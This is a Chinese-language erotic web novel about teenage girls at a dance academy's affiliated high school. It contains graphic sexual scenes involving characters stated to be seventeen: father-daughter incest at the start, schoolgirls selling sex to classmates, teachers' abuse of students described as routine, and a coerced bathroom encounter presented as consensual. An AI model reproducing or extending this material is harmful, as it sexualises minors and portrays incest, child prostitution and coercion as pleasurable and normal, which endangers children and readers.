图片载入中

舞艺附中的少女

特大字】 【大字】 【中字】 【小字

第一节浴室里的帮助

“乖女儿,你可真行。”一边搓揉着女儿的乳房,方爸爸一面在女儿的子宫内射出最后一股精液。方芸躺在书桌上大口的喘着气,胸前的两座小山丘似的乳房鼓胀胀的,两个粉红的乳头已经涨到不能再涨了。

爸爸把阴茎从女儿的阴道里抽出来,又留恋的看了一眼那大咧咧分开的大腿之间,两片花瓣还一张一合着,乳白色的精液混合着半透明的淫水正一点点的流出来。

“乖女儿,爸爸给你个好礼物。”爸爸从皮包里掏出个礼物盒:“乖女儿,看看喜欢不喜欢。”

方芸从书桌上坐起来,随手抽出一张纸巾清理了一下下身,就从父亲手上接过那个精致的礼物盒,打开来一看,原来是一对漂亮的乳铃。上端是镶蓝玉的不锈钢圆弧夹子,用的是圆口设计而不是更刺激的锯齿设计。夹子和铃铛之间有个螺栓可以调节松紧。铃铛是用透明水晶做成的,轻轻的晃荡一下,十分悦耳。

“宝贝女儿,要不要试一试?”爸爸走上来捏弄着女儿丰满的乳房:“真的是越来越大了呢。”

方芸娇媚的看了爸爸一眼,小心翼翼的把一个铃铛挂到了左乳之上,调节了一下夹子的松紧,感觉还不错的样子。又把另一个挂到了右乳上面,晃动了一下双乳,立即感觉到一种特别的刺激从乳尖传来,“怎么样,喜欢吗?”爸爸捏了捏女儿粉嫩的乳房觉得还不过瘾,又勾动了两下乳铃:“感觉怎么样?”

“太喜欢了。”方芸扑到爸爸怀里亲吻了他满是胡子的大脸一下,丰满的双乳被爸爸捏着手上又玩了好一会儿,忽然想起来:“时间不早了,我该走了。”

说着便从桌上拿起刚才丢在一边的黑色薄纱蕾丝乳托穿上。

爸爸看了一下果然是时间已经不早了,晚上女儿还要上自习呢。便帮女儿拿来上衣帮她穿上。

薄薄的丝质上衣胸口开得很低,还被鼓胀胀的乳房顶的老高,一对从乳夹中探头探脑钻出来的红樱桃无比的诱惑。方芸整理了一下长裙,理了理衣服,从爸爸手中接过发夹别好头发,又在爸爸脸上亲了两下:“爹地,下周末我再来看你。”

方芸,一个正青春的十七岁少女,拥有157cm的身高和41kg的完美体重,目前正就读于州立舞蹈艺术学院附中高中部三年级。

坐着她那开大公司的老爸的车,很快就到了位于市郊的学校,进校门的时候,门卫看着这青春的美少女不由得狠狠地咽下了一口口水,这多美的女孩啊,可惜不是他能享用的。

在回宿舍之前,方芸先去了她们班上的专用练功房,果然不出所料,她的舍友,也是她最好的朋友,慕容璃正在里面练功。

慕容璃与方芸差不多高,却要比她瘦不少,但是慕容璃的双峰却丝毫不比方芸的逊色,也是本校一些男老师的最爱。

“你回来了啊。”慕容璃高兴的和她打招唿,她穿着一套紧身练功服,曲线毕露,两个格外丰硕的乳房随着她的动作一晃一晃的。

“是啊,今晚有节目呢,我怎么能不回来呢。”

方芸说的节目是她们宿舍公开的秘密。虽然方芸家里不缺钱,但是单调的却缺少刺激,而另一对:若蹙与若颦这对双胞胎也是,若蹙天性就爱找刺激,并且还要拉上自己的孪

生姐姐。可一点儿都不像她的名字,她的姐姐若颦倒是名副其实的多愁善感。

所以,在二年级的时候,慕容璃发现了一个很刺激的活动:为本校的男生们提供服务,虽然不指望赚多少钱,但是恰好可以满足少女们无尽的欲望。开始几次,若颦还羞答答的,不过正是所谓一回生二回熟,在半推半就的接客几次之后,饱受精液浇灌的子宫终于开始唿唤男人强有力的冲刺和喷射了。

更何况,这种很刺激的活动还有钱赚,运气好的话,一次四个女孩每人都能挣上六七百块钱。反正

平时上课练功的时候也还不时要被男生们揩油,更要小心老师的咸猪手,像她们几个漂亮的女生,都是经常被老师叫到小房间去“单独训练”的,有时候还

要应付那些老师五花八门的要求,还不如自己做主来做呢。

方芸走到慕容璃身边,搂住她的纤腰,两人为这些天来的第一次见面好好的亲吻了一阵子才松开彼此。方芸接着解开上衣口子,露出完美的双乳,果然那一对漂亮的乳铃立即吸引了慕容璃的注意力:“好漂亮啊!”

“是我爸爸送给我的礼物,”方芸骄傲的晃动着傲人的双峰,即便是身为同性,慕容璃也忍不住要伸手摸一摸,“疼吗?”

方芸看出慕容璃雀跃欲试却又怕疼的样子,轻轻一笑,解下自己左乳上的一个乳铃,“来,我给你带上。”

慕容璃回头看了一下练功房的挂钟,已经五点钟过了,好收工洗澡吃饭去了。

“姐姐,陪我一起去洗澡吧。洗完澡我再试一试这个。”

“好的啊,小璃带这个一定更漂亮。”

练功房外边就是年级公用的更衣室,更衣室的里面通向一个很大的浴池。左边一半是男生,右边一半是女生,中间用毛玻璃隔开,但是这层玻璃墙只有一米六高,在有帮手的情况下,很容易就越狱了。

慕容璃坐在更衣室的皮革长凳上开始脱衣服,白色的紧身练功衣里面什么都没有,方芸站在一边贪婪的看着她洁白无瑕的身子,一点儿赘肉都没有的小腹,两个雪白而又滚圆的乳球,前端绽放着粉红的花蕾。巍巍挺翘着,实在是可爱无比。

小璃把上衣叠好放在一边,又开始退去下身的衣物,白玉一样光洁的大腿,修长优美的线条,可惜被她胳膊的动作挡着,看不见那娇嫩的花朵。

小璃原来是学习民族舞的,从小学的时候就开始缠足——当然,这种缠足并非古代那种三寸金莲,因为它没有改变女孩子脚的形状,只是限制发育而已。现在慕容璃与方芸虽然同样是17岁,身高也只错开1cm,但是小璃的一双玉足仅仅有方芸的三分之二大。

光着身子,小璃从自己的储物柜里找出洗澡用具,方芸跟上去,在她挺翘的屁股上捏了一把:“这几天,都干了什么啊?好像又翘了一些。”

“能干什么啊。”小璃瘪瘪嘴:“还不是指导那些小菜鸟,你又回家快活去了。那两个一个大肚子,一个要照顾宝贝女儿,说好是四个人的事情,可全都落在了我一个人身上。”

三年级的学姐,要指导一年级的小学妹,这是舞艺附中的传统。这一年,分到他们宿舍四个手下的也是四个小女孩儿,应该还都是刚刚被开苞或者还没有开苞的。

“好啦,我这不是回来了吗。”方芸搂住慕容璃,这位大美女一直忙得很,只和学妹们见了一次面,就不断的代表学校出去参加各种比赛,带回来金光闪闪的奖杯和一肚子的精液。所有的事情差不多都落在了慕容璃一个人身上。难怪她要向姐姐抱怨了。

“我去洗澡了,”慕容璃正要关上储物柜,方芸忽然似乎想起来了什么:

“你这儿还有那种喷雾吗,借我用一下。”

“哪种?”

“那个,”方芸踮起脚往柜子里面扫了一眼:“避孕的那种,白色塑料瓶装的。”

“哦,还有。”慕容璃帮她找出来,递给方芸:“怎么了?”

“我的用完了。”方芸轻盈的坐回到皮凳上,撩起裙子,使劲晃动了两下喷雾剂,把盖头打开,扳出细长的导管,小心翼翼的插入自己的花房之中。慕容璃过来在她脸上亲了一口就走进了浴室。

今天,或许因为是休假的缘故,一二年级的小学妹们都出去玩儿了,三年级的学姐们大多有客户或者种种奇奇怪怪的事情,来练功的都不多。这样也就意味着浴室里面也实在是门可罗雀。

随便选了一个小隔间,把东西放在一边,解开紧紧束在脑后的发髻,晃了晃头,站在淋浴喷头下面,刚刚要拧开开关,忽然听到男生那边传来一个声音:

“嗨,美女,你们那边的热水坏了。过来洗吧。”

嗯?慕容璃疑惑的从毛玻璃隔间里伸出头去,只见那条分开男女生的一米六玻璃墙上趴着个大男生,看个头该有一米七八以上。

将信将疑的拧了两下开关,果然一滴水都没有出来。慕容璃又跑到相邻的隔间去试了试,都没有热水。

“怎么样,我说了的吧。”那个男生笑嘻嘻的对她道:“美女,身材很不错啊。”

讨厌鬼。慕容璃随手用毛巾遮住要害,拎起自己的东西往玻璃墙那边去:

“你们那边有热水吗?”

“当然有。”男生的眼珠子盯着那遮不住的双峰一动也不动,“真是完美啊。”

“是吗?”慕容璃看了看,犹豫了一下:“可是我过不去啊。”

“没关系,我来帮你。”那男生豪爽的伸出手:“把你的东西先递过来吧。”

连通毛巾,东西都递给他之后,慕容璃身上是一点儿遮蔽也没有了,那个男生看着这个丰乳翘臀的美貌少女好好的咽了两口口水,对她道,“你举起手来,我抱你过来。”

慕容璃听他的话,高高取其双臂,挺着一双无比诱惑的白奶子站在隔墙前面。

对面的男生伸过来一双有力的胳膊,一双大手叉开扶助她的腋下,丹田一沈,倒吸一口气,就将这

个美人儿给托了起来。

随着身子一点点的升高,慕容璃一面向前凑过去,按住那个男生的双肩,找到一个用力的支点,然后腰上用劲,先擡起一只腿,踩在玻璃幕墙上,旋即就坐在上面,另一只腿也收了过来。调整一下位置。正好呈面对男生坐着的姿势。

可惜,可惜,她的双腿合拢着,看不见那玫瑰花儿盛开的样子,男生心中大喊遗憾,不过现在这个姿势能够让他饱览那横看成岭侧成峰的壮丽,已经该满足了,正是所谓细水长流嘛。

男生再一发力,就将小璃从上面抱了下来,落地的时候,不只是有意还是无心。她的玉腿从他那硬梆梆很久了的大东西边上擦过,虽然只是一瞬间,却让小璃一阵心惊肉跳:好硬的家伙啊,还这么烫。

她还不知道,从她一进这个浴室开始,他就已经在注意她了,不怪别的,只能怪她太诱人了,让他丹田里那一口热腾腾的气怎么也平息不了。

现在两个人这么近,他似乎又感觉到那家伙硬挺了几分。

第二节名声不好的黄鼠狼

舞艺附中,Y市着名的舞蹈艺术学院附属中学。美少女的海洋,男人的天堂。

在这里燕瘦环肥,百花齐放,各种类型的青春活力少女们在男老师和男同学们的肉棒的辛勤浇灌下

,茁壮成长为一朵又一朵淫靡之花。

在练功楼四楼,三年级的专属男生浴室里一个高大强壮的英俊男生与一个娇小玲珑的美少女正几乎面对面的站着。更不用说,那个男生强而有力的双臂还搂在那女生的腋下,虽然不是很直接,但是却也能感受得到她那一对诱人的白兔的美好。

“真是够坚挺啊。”男生喃喃自语道,忽然似乎意识到了什么,连忙松开了那一双狼爪:“哦,你是不是要洗澡?”

这仿佛是废话,人家脱得光熘熘的进澡堂子来难道是裸奔吗?只是可惜平时嘴巴从来不饶人的慕容璃这一回却是似乎中了什么魔咒一样,目光被牢牢的吸引在他那宽广雄厚的胸膛上了,还有那线条分明的腹肌,双臂随便活动时也能看得清清楚楚的肱二头肌,她几乎可以想象的到在这些蕴藏了极大能量的肌肉炸药包里,埋藏着怎样一根令少女心悸的导火索。

“啊……是啊……”,慕容璃慌乱的拎起自己装东西的篮子,把毛巾随手搭在肩上:“我,洗澡,对,洗澡。”

说着,她就低着个头,悄悄的从那男生身边熘了过去,临了还悄悄回头看了一眼那肉棒,正如一门海边悬崖上的巨炮一样,高高翘起,不怒自威。

他也在看着她,那一双又大又挺的奶子就不必说了,浑圆的屁股也是翘生生的,两条大理石雕琢出来的大腿光滑修长,一双小脚莲步生姿。真不赖,本来只是随便过来玩玩的,谁知道竟然还有这么一只洁白的小羊羔洗白白送到狼嘴边上来。真是要忍不住笑出来了。

慕容璃站在隔间里,把东西挂好,回头看了看那个男生,发觉他还在那里双手叉腰看着自己,觉得有些不太习惯,虽然说与男人上床已经不是一次两次的了,一同洗鸳鸯浴的经历也都是有的,但是,像今天这样,自己洗着,后面站着个强健的裸男看着,真的很别扭。

她红着脸,小声的对那个男生道:“嗯,同学?”

“嗯,有什么事情吗?”他的目光在她的双峰之间游荡了一下之后迅速跳到了下边那个神秘的黑森

林,哇,果然是一片馥郁芬芳的芳草地,看来是个已经成熟了的可口果实啊!

“嗯,你能不能背过身去,我不太习惯。”慕容璃的声音有点儿小,更像是撒娇,而不是请求,还好不是若颦在这里,要是若颦在这儿,恐怕早就羞得昏过去神鬼不知了。

“哦……哦……好的,好的……”这个男生倒是绅士的很,一点都不像本校的那些娘娘腔的男生,没有二两本事却个个猴急的跟火烧了屁股一样。

看着他转过身去,慕容璃也才放心大胆的转过身去拧开水龙头,温热的水线铺天盖地撒了下来,她美妙的胴体瞬间就被袅袅升起的白雾弥漫了。

“嗯,你不是我们学校的吧?”

沉默了一会儿之后,还是慕容璃打破了沉默。这个男生这么强壮,有这么帅,却从未见过,绝对不是本校的。一般来说,一个男生,如果帅或者强壮,只要满足一个条件就可以被女生们记住了。而这个男生居然!同时!Both!满足两个条件,却不在她的记忆当中,应该不是本校了的。

“哦,我是体育大学的。”那个男生觉得大概反正闲着也是闲着,索性走到她正对面的那个隔间里拧开笼头淋起热水澡来了:“二年级了。”

“哦,如此说来,那是学长了。”慕容璃小声道:“体育大学和我们学校很远啊,学长是坐车过来的吧?”

“是啊,我还以为你们学校就在舞艺边上了,谁知道在这儿。让我跑了大半天才知道跑错了。”那个男生随口道:“我是来找我妹妹的,她在你们学校上三年级了,叫黄季凤,你认识吗?”

“季凤啊,”慕容璃的脑海里浮现出来一个喜欢穿着红衣服,爱笑爱跳的女孩身影:“她是古典舞班的,我们在一起上过课。”

“哦,”男生擦了擦脸上的水珠:“同学你是哪个班的呢?”

“我叫慕容璃,”小璃转过头去,伸出手:“芭蕾舞班的,也是三年级了。”

男生上前两步握住那只柔荑,果然是柔弱无骨,嫩滑如脂。

“我姓黄,大家都叫我三哥。”

听到“三哥”这两个字,本来面带微笑的慕容璃忽然一下子身子僵住了,连手都停在那儿收不回来。

三哥感觉到小美人儿的不对头,忙松开她的小手:“是不是听说过什么……故事?”

“没有……没有……”慕容璃心口好像一只兔子在活蹦乱跳。早就听人说过,体育大学的有个姓黄的家伙,背地里大家都叫他黄鼠狼,当面还不得不叫他一声“三哥”,只因为他拳头够硬,大一的时候便打败了体育大学全部的暴力分子。

这个家伙,够狡猾,也够狠,还风流无比,体育大学与舞蹈艺院、影视学院隔街相望,据说这位黄鼠狼经常带着马仔去两个美女众多的学校找乐子,不知道这两个学院有多少女孩被他们凌辱过呢。

现在在这个僻静的几乎要从地球上消失了的浴室里。只剩下她和这个传说中的拳王赤裸相对,怎么不叫她心惊肉跳?

三哥站在那里望着一米之外娇嫩的女体,水珠打在香肩之上,顺着光洁的如同一整块大理石板样的嵴背汇成一条小河流了下来。虽然她还在洗澡,不过很明显,有些心不在焉了。

他摸摸鼻子,自己的名声难道真的这么臭吗。他轻轻地走过去,一只手搭在小美人儿的香肩上:“喂……”

“啊……”慕容璃恍若触电一般浑身一激灵,这反应真是可爱极了呢。好久都没有品尝过这样新鲜的小美人儿了。

“要不要我帮你擦擦背?”完全是一副好心的大哥哥的语气:“我的技术可是很棒的哦。”

“什么技术?”慕容璃忍不住反问了一句,可是话刚刚一出口就感到后悔了。

只听见背后一身淫笑:“当然是让小璃妹妹舒服的技术了。”说着,一双魔手就按上了她的双肩,轻轻的捏拿着肩上的穴位:“小璃妹妹练功很专心啊,身上的肉都很有劲。”

“你,你要干什么……”无心于身后男人的赞美,只想反抗的慕容璃却被他两只力量大的惊人的铁手按了回去,她双手抓着塑胶的水管,密集的水线冲刷着她柔顺的长发,她感受得到他胯下的那一根火热正在她的臀缝间磨蹭。

三哥拿起慕容璃篮子里的浴棉,往上面倒了一点沐浴乳,自言自语道:“呵,还是茉莉花香的。”

说着,便用它轻轻地美人儿光洁的玉背上来回摩擦,随着他轻柔的动作,慕容璃僵直的双臂终于慢慢放松了,浑身的肌肉也不再绷紧,好像那浴棉有什么魔力一样,擦到哪里,哪里的肌肤就都投降了。

“其实我只是个普通人,没有三头六臂,也不是凶神恶煞。只是有时候不得不用用拳头,你知道在男生的世界里,拳头不硬是很悲哀的。其实我也不喜欢打架,能不打就不打,只是有些人非要和我打,打输了就到处说,哎。”三哥一面帮她擦着背一面自言自语:“你知道吗,你长的很像我妹妹。”

“季凤?”

“嗯,不过你比她大概高一点。”三哥把鼻子凑过去闻闻她身上的茉莉香,“你还不知道我的名字吧,我排行老三,叫叔郎。”

“叔郎……”慕容璃喃喃自语道:“叔郎……黄叔郎……黄鼠狼……!”

“对呀,”叔郎无可奈何的点点头:“这是我爸起的好名字。”

他蹲下去,温柔的为小璃擦着双腿,不用他吩咐,小璃自己分开了那一双一直紧紧合拢着的双腿。

他擦的很细心,很有耐心,一点点的,动作也很轻柔,让慕容璃感觉很舒服,最后他擦到脚踝的时候索性坐到地上去了。慕容璃扶着水管,翘起一只小脚他捏在手上,仔仔细细的为她擦拭。若有所思的道:“你是学芭蕾舞的?”

慕容璃知道他是看到她那双比常人小了一号的脚而产生的疑惑,“我国中的时候还是练民族舞的。后来因为裹脚太苦太疼受不了,所以转班到了芭蕾舞班。”

“芭蕾舞不疼了?”他的手轻轻拂过她脚尖的老茧,“这也是女孩子的勋章吧,为了有个美丽的形体而要付出许多汗水和泪水。”

“也疼啊,不过和裹脚的疼比起来还是要轻微许多了。”慕容璃一手扶着塑胶水管,单腿立地,轻盈的做了几个芭蕾舞常见的动作,回过头来对他嫣然一笑:“怎么样,我还算专业吧?”。

第三节醉人琼脂

“何止是……简直是美极了。”叔郎望着随着小美人儿动作而缓缓张开的牡丹花儿,胸膛里不知道为何也忽然轰鸣起了十万马力的发动机,源源不断的将富含氧的动脉血泵进各个器官。像接通了电流一样,腰下的两个半月形电机开始高效的工作,顺着导管,将肾上腺素和荷尔蒙扩散到最需要的地方去。

从外面看来,最明显的反应就是那巨炮显然已经是蓄势待发,只欠号令了。

他捉住她的小脚,轻柔的为她擦拭着:“后面都已经擦完了,该来擦前面了。”

感谢他那不会说普通话的爸爸,教给他一口介乎于普通话与方言之间的口音,慕容璃听成了“插插前面。”,虽然不会如若颦那样羞的连脖子都红透了,但是也颊上飞起两团红晕,“你在说什么呢。”

“没什么。”他低着头,仿佛专心于为她擦脚,五个玲珑可爱的脚趾上镶嵌着剔透晶莹的趾甲,前端虽然因为练舞而磨出来一层茧子,但与他手心那一层层厚厚的老茧相比,几乎可以忽略。更何况,在这天然无暇的肌肤上有这么一点点美的痕迹,只如抓破美人脸一般,更映衬的周围肌肤嫩若点脂。

浴棉滑过脚背,正顺着脚踝往上去,水滴顺着少女玲珑起伏的身子滚滚而下,将最后一点儿泡沫也冲走。

慕容璃靠在磨砂玻璃隔板上,享受着脚尖被他那粗糙的大手轻轻握住的一点点快感,这种感觉是与阿芸姐姐在一起的时候不曾有过的,更不用说那些永远都是来去匆匆的“他们”了。

他忽然停住了动作擡起头来仰望着如鲜花般盛开的少女:“能把浴液递给我一下吗?”慕容璃的习惯性走神恰在此时发作,让他不得不提高声音又说了一遍才把小美人儿的魂勾回来。

“嗷,”慕容璃失败的拍了拍额头,“我走神了不好意思。”说着她扭身从篮子里取出拿瓶沐浴露递给他:“真是不好意思,要你……”

“为美女服务,是我一向最大的乐趣。”即便是坐在地上,叔郎也不忘摸摸鼻子:“我一向对女生有个口号的。”

“什么口号?”

“风流不下流,总要你自愿。”他一本正经道。慕容璃被他的语气一下子逗乐了,忍不住噗嗤一声笑出声来:“什么呀,一点都不上口。”

“总而言之呢,虽然,”他弯了弯胳膊,还瞄了瞄随着女孩子花枝乱颤而上下抖动的一双白兔:“这里很有一点蛮劲,不过不会用在对付女孩子身上。这个是留给那些不开眼的男孩们的。”“真看不出来,”慕容璃笑意盈盈的靠在隔板与瓷砖墙壁的夹角

上,“你居然会说出这样的话来。真是流氓不可怕,就怕流氓有文化。”

叔郎苦笑着摇摇头:“流氓?我老爹可是大律师啊。虽然我不愿意子承父业,也不代表我没有文化啊。好歹我也是书香门第,诗书人家。”

“大律师?!”慕容璃今天吃的惊太多了,晚饭可以直接省掉了,上上下下左左右右的把他打量了一遍:“实在是看不出来你有这方面的细胞。”

“我觉得我们家出一个律师就够了。我二哥现在就是律师,那么我还走他们的路子干什么?”叔郎一面念叨着一面开始向上攀登,渐渐的越过膝盖,开始往她的大腿上去。

“我还是坐下来吧。”慕容璃看他动作有些不方便,索性自己坐下来,翘起一只脚搭在隔板上,“你的动作很熟练啊,经常这样帮女孩子吧?”

叔郎忽然愣了一下,看着她坏笑的纯洁脸蛋儿:“好像……只有我妹妹呢。”

“季凤?”慕容璃一下子就猜到了两个人的关系,“原来是恋妹癖哥哥啊。”

“我倒是有心为女孩子这样啊,不过,”他又摸了摸鼻子:“也得有值得我这么做的啊。”

“什么意思?”慕容璃隐隐约约的感觉到下面有她喜欢听的话要来了。

“首先得漂亮吧。”叔郎手渐渐逼近了丰腴的三角地带,“我的审美情趣很正常,对恐龙兴趣缺缺,身材再好也看不上。”

“嗯,还有呢?”

“长得漂亮,也还得身材好吧。缺胳膊少腿的,左边高右边低的,我也不喜欢。不过我认识一个兄弟,他就喜欢这个,还说是残缺美。我说谢谢了,我喜欢的是完美。”

“那,舞艺这样符合你的要求的美女应该不少吧。你这不是近水楼台先得月?”

“美女,”叔郎加重了语气:“不能光有个壳子吧。就像你买电脑,总得看看芯片,查查内存大小吧,还要检查一下有没有毒。”

“什么意思啊?”慕容璃被弄煳涂了。

“我是说,傻子不要,250不要,情商太低的也都不要。还有装13的不要,有病的更不能要。”叔郎语气严肃的把浴棉从慕容璃的花溪上掠过,大概是还在想他的不要不要不要,竟然一时没有反应过来。

“我是个完美主义者,”叔郎继续滔滔不绝的发表着高论,却神不知鬼不觉的坐到了与她只差0。1cm的距离上,左手坚定有力的握住她的脚踝,轻轻地从毛玻璃隔板上挪开一点,让那峡谷间神秘的谷底更坦荡的展露在他的面前。

“对我自己要求完美,又怎么可以要求我身边的女人马马虎虎。不过你就不一样了啊。”说到这话的时候,浴棉正轻柔、非常轻柔的在花溪间进行耐心的清洁工作,花瓣被温柔的分开,乳白的泡沫从浴棉与花瓣接触的地方浮上来。

“唔……哦。那个地方……”慕容璃猛然醒悟过来,正要阻止他,却被他一套科学理论给吓住了:

“科学证明,这里是微生物最容易生长的地方,也是多种病菌容易繁殖的地方,简而言之就是洗澡的时候最有必要清洗的地方!”

“唔……我是说……不要这样。”慕容璃非常鲜明的感受到他的手指正借着浴棉做屏障,一点点的突破自己的防线,往深处探秘。

叔郎一面享受着白羊一样的美少女下身的妙处,一面继续吸引她的注意力:

“小璃妹妹,我一个人说了这么半天,好口渴啊。”

“口渴,”慕容璃试图抗拒下边传来的感觉,不过很明显,由于失去了警惕性而导致防线失守,眼下就只有城下决战一条路了。但是现在还浑浑噩噩的总司令部还没有办法指挥战斗。“我也没有办法啊……生水,不能喝啊。”

“这里有可以喝的谁啊。”他从她下身抽出手指头来,浴棉上粘着些晶莹的液体,不是水滴,也不是沐浴露,只会是……慕容璃的身子蜷缩了起来:“你不是说要自愿的吗……”

“你现在难道不是自愿的吗?”叔郎邪邪一笑:“从爬过来的时候,就该有这样的觉悟了吧。”

的确,从翻墙过来的时候,就有这样的心理准备了,可是却在无边的闲谈中将这件事情忘却了,谁知道他竟然,她望了一眼他胯下的雄武大炮,眼神迷离,说不清是期待还是胆怯。

水已经开了,小羊肉可以下锅开涮!叔郎大展猿臂,将小美人儿从角落里抱出来搂在怀中,一低头,含住樱桃,就吻住不妨,舌头轻轻的在贝齿上敲击两下,就门户大开,一条美女蛇出来迎战,怎敌来敌这条巨蟒身强力壮,一下便被卷住,反攻入门户之内。

一双狼爪也未闲着,兵分两路,一路只取羊脂白玉峰,另一路兵出斜谷,食指先锋与中指将军挥师直捣重岚叠翠。

上中下三路同时失守,一时无边快感从四面八方涌来,将慕容璃那本来就被热气腾腾的浴室熏的不甚清楚的大脑更冲晕了几分,所能感觉到的,就只有那条丈八蛇矛正在自己说不清是自愿还是被迫分开的臀缝间卡着,本能的,一只手搂着那个有着岩石一样坚强身躯的男人,一只手就探下去,越过他正在花瓣间肆虐妄为的魔爪,却摸着了那鸭蛋大的枪头。

“好烫。”口齿不清的,她吐出这两个字,旋即又被胸口一阵强烈的刺激给压了回去:“啊,不要,用指甲……”

两颗蓓蕾在迅速的成长,变大,挺翘起来,似乎在召唤着什么东西对它们来施虐,那只狼爪就让它如愿了,轻轻地用指甲在顶端敏感的乳孔上挑动两下就引得她胸口上下波动如潮,叔郎吐出丁香小舌,又吻住她晶莹若泪的耳垂:“真是可爱啊,你的身体好像很渴望的样子呢。”

“都是,都是你,”她已经没有了反抗的意志了,或者说从一开始就没有过这个打算。反而更加努力的挺高胸脯,让那一只狼爪能更好的感受她的丰满。她喜欢他粗糙的手掌轻柔的磨蹭着她的乳尖的感觉,而他也惊异于她那一团乳肉的坚挺。

虽然知道她经常锻炼,又正值青春期,乳型十分完美,却没有想到,内里竟然是如此的坚挺,一把抓上去,居然有些捏不动的感觉,只在表层留下了几个浅浅的凹痕。心中诧异之余,也不免手上多用了几分力气。

“哎呀,疼”慕容璃秀眉蹙成了一团,他连忙松开了手,果然那一团玉白之上,留下了五个鲜明的红印。

“是我不好,”他轻轻地吻上樱唇,留在乳峰上的手也改捏拿为轻轻的抚摸,细细的感受着少女乳中正在成长的乳胚。

底下的那只手也悄悄的离开了溪谷,开始扩大了巡视范围,将一整条玉腿都纳入战略进攻范围。

慕容璃翘起一只腿,想让前面潺潺流水的溪谷直接去面对那救命的塞子,可是却被他一把抓住,右腿就这么笔直的直至天空,只见他迅速的转身,坐下,在她反应过来,就已经架炮布阵,兵临城下了。

叔郎把那条笔直竖着的玉腿当成按下核导弹发射的操纵杆,一手抓着它,一手搂着慕容璃的纤腰,在湿漉漉的地板上轻轻一按她的腰,就把她往自己方向推进了两三厘米。那坚硬如铁的大炮也抵住了花瓣,眼看着就要破关而入。

慕容璃双手搂着他的肩膀,给他一个温柔又带着坚定的眼神,仿佛是得到了最后的许可令,神剑终于刺入秘道,突破开始的外围防线之后道路一下子变得宽敞了起来,根据刚才手指侦查员的汇报,小璃的阴道应该是属于那种前庭后院的类型,果不其然,下面龟头就遇上了第一个障碍,一层肉环如关隘一样将前路挡住。

叔郎将慕容璃的身体继续往自己身边按,同时还在往她身上倒去,两方一合力,龟头终于突破这第一层天险,越过关隘。而那肉环恰好卡在龟头下面,仿佛给他的宝贝上了一个刚环一样。

肉环被突破的时候,慕容璃也感到一阵撕裂搬的疼痛,它的巨大超出了她习惯的尺寸,竟然让她在那么一瞬间有了初夜的感觉。悄悄的低头看了一眼下面的战况,不由得倒吸了一口气,只见至少还有二十多厘米露在森林之外,而且,仿佛比方才摸弄时又大了一圈。

阴茎在这个陌生的环境了跳了两跳,仿佛是跟主人打招唿一般,这一回是慕容璃自己来行动了,总是来他推着走,让她感觉自己是被强奸的一样,她咬住嘴唇,紧紧的搂住叔郎的脖子,一只腿勾住他的背,努力的移动着小屁股开始往前迎凑。度过一节略微宽敞的空间——说是宽敞,也依旧能感受到了四周蜜肉无微不至的爱抚,只是没有肉环那里卡的那么紧而已——又迎来了一个新的关隘。这一回不待关前校正,慕容璃主动出击迎战,结果被长驱直入,再下一城。

“呵,”小璃挪了挪屁股,长长的舒了一口气,叔郎怜惜的看着她已经是满脸香汗,便放下她已经树了很久的那条腿,将她搂在怀里,不经意间,又往里挺进了一节,似乎又来到了一个关卡前。

“你这里面真的是过五关斩六将啊。”叔郎的宝贝被一个又一个肉圈圈套住,感觉美妙异常。

“你的,好大啊……啊,还在涨大……受不了了。”慕容璃趴在他身上两人就这样相对搂着,直到他把大半截肉棒都送进这秘道之中。此时,她已经受不了他在乳尖上不断的挑拨,花心喷出了一股蜜液,全身都变得软绵绵了的。

叔郎将她推到在地上,将两条玉腿架在自己肩上,双手撑着地,开始了缓缓地抽送。

她的阴道狭窄,又有重岚叠翠,单单是这缓缓地抽送就给他一阵阵快感,但是那几层肉圈圈儿紧紧锁着输精管,叫他一时半会儿都没有可能射精。

慕容璃的体质虽然算不上是极其敏感,但也是坚持不了多久,即便是这样温柔的和风细雨,也因为那肉棒的超级规模而败下阵来,又一次泄的娇喘连连。

高潮时候的女孩最为美丽,既有青春期少女的青涩可爱,还有成熟女人的妖媚诱惑,只见她闭上一双美丽的大眼睛,让整个身子都随着体内快感的惊涛骇浪跌宕起伏,嘴角洋溢着神秘莫测的微笑,双手搓揉着自己似乎又涨大了几分的双峰,让身上那个男人看的如痴如醉,下身也不免加快了速度。

说来也快,方才任他百般戏弄也还矜持的住的慕容璃随着他进出的频率一变,竟然似乎也变了个人,淫声浪语层出不穷:“啊……啊……用力……再用力……干……再用力干,干我……哥哥……三哥……三哥……好三哥……快……快,大肉棒,插,插小穴,插坏,插坏!啊!……啊!……”

虽然还是闭着眼睛喊,不过叔郎对她喊得是自己十分满意,自然也如她所愿,更加用力,更加凶猛的鞭笞她那娇嫩的花穴,每一次拔出必定带的淫水四溅,每一次抽送必然直达最深处,将整根肉棒都深深迈入无底洞中放才罢休,连花瓣都给翻入了土壤之中。

“啊……啊……插……插……好深,好深啊!……太深了!插坏了……啊……啊……顶到……顶到底了!”

耳听着宛若莺啼的叫床声,眼看着美少女红潮泛滥的娇颜,还有从肉棒上传来的无边快感,叔郎猛然一挺,将肉棒送到最里面,抵在子宫口上,一鼓作气,将亿万子孙全部送入了身下娇娃的体内!

第四节少女迷梦(上)

目送慕容璃进去之后,方芸就坐在皮革长椅上等她出来。干坐了两三分钟,觉得没什么意思,又站起来,打开慕容璃的柜子,在里面翻出来一盒木糖醇,倒出来几粒丢进嘴里咀嚼着。

贝齿一开一合咬破木糖醇的外壳,一丝甜津津的味道瞬间随着清流扩散开来。

方芸看了一下手表,已经五点十五了,真是一个前后不搭的好时间啊。

无聊的在更衣室里来回走了两圈,最后还是在巨幅墙镜面前挺了下来。镜子中的少女望着外面的自己,看那一对红樱桃似乎要顶开外衣的舒服挣脱而出。

方芸的手无意识的解开扣子,外衣自动的退到两边去,让位给那一双永远的公主。

她轻轻地扯了扯乳铃,一直保持着勃起状态的乳头受到更为强烈的刺激,迅速的引起了下边的连锁反应。

“该死的,又湿了。”方芸缓缓拉开腰后的蝴蝶结,失去了捆缚的裙子悄然落地,她弯腰将白裙捡了起来,却无意让乳头碰到膝盖,“唔……”

又是一波快感在体内荡漾开来。自己今天怎么了?方芸觉得有点儿不太对头,这点点轻微的刺激怎么感觉自己好像全身都要失去了控制一样?她随手将长裙叠好走回去放在皮凳上,却注意到自己的唿吸有些急促,双颊莫名其妙的发烧了起来。口腔里满是淡淡的甜水,一种柠檬的清香随着她的唿吸悄悄的扩散。

胸口不知不觉中开始了起伏,乳端似乎又涨大了一点,乳铃上的圈套已经勒到肉里面去了,正随着她无缘无故的胸悸而一阵清脆的声响。

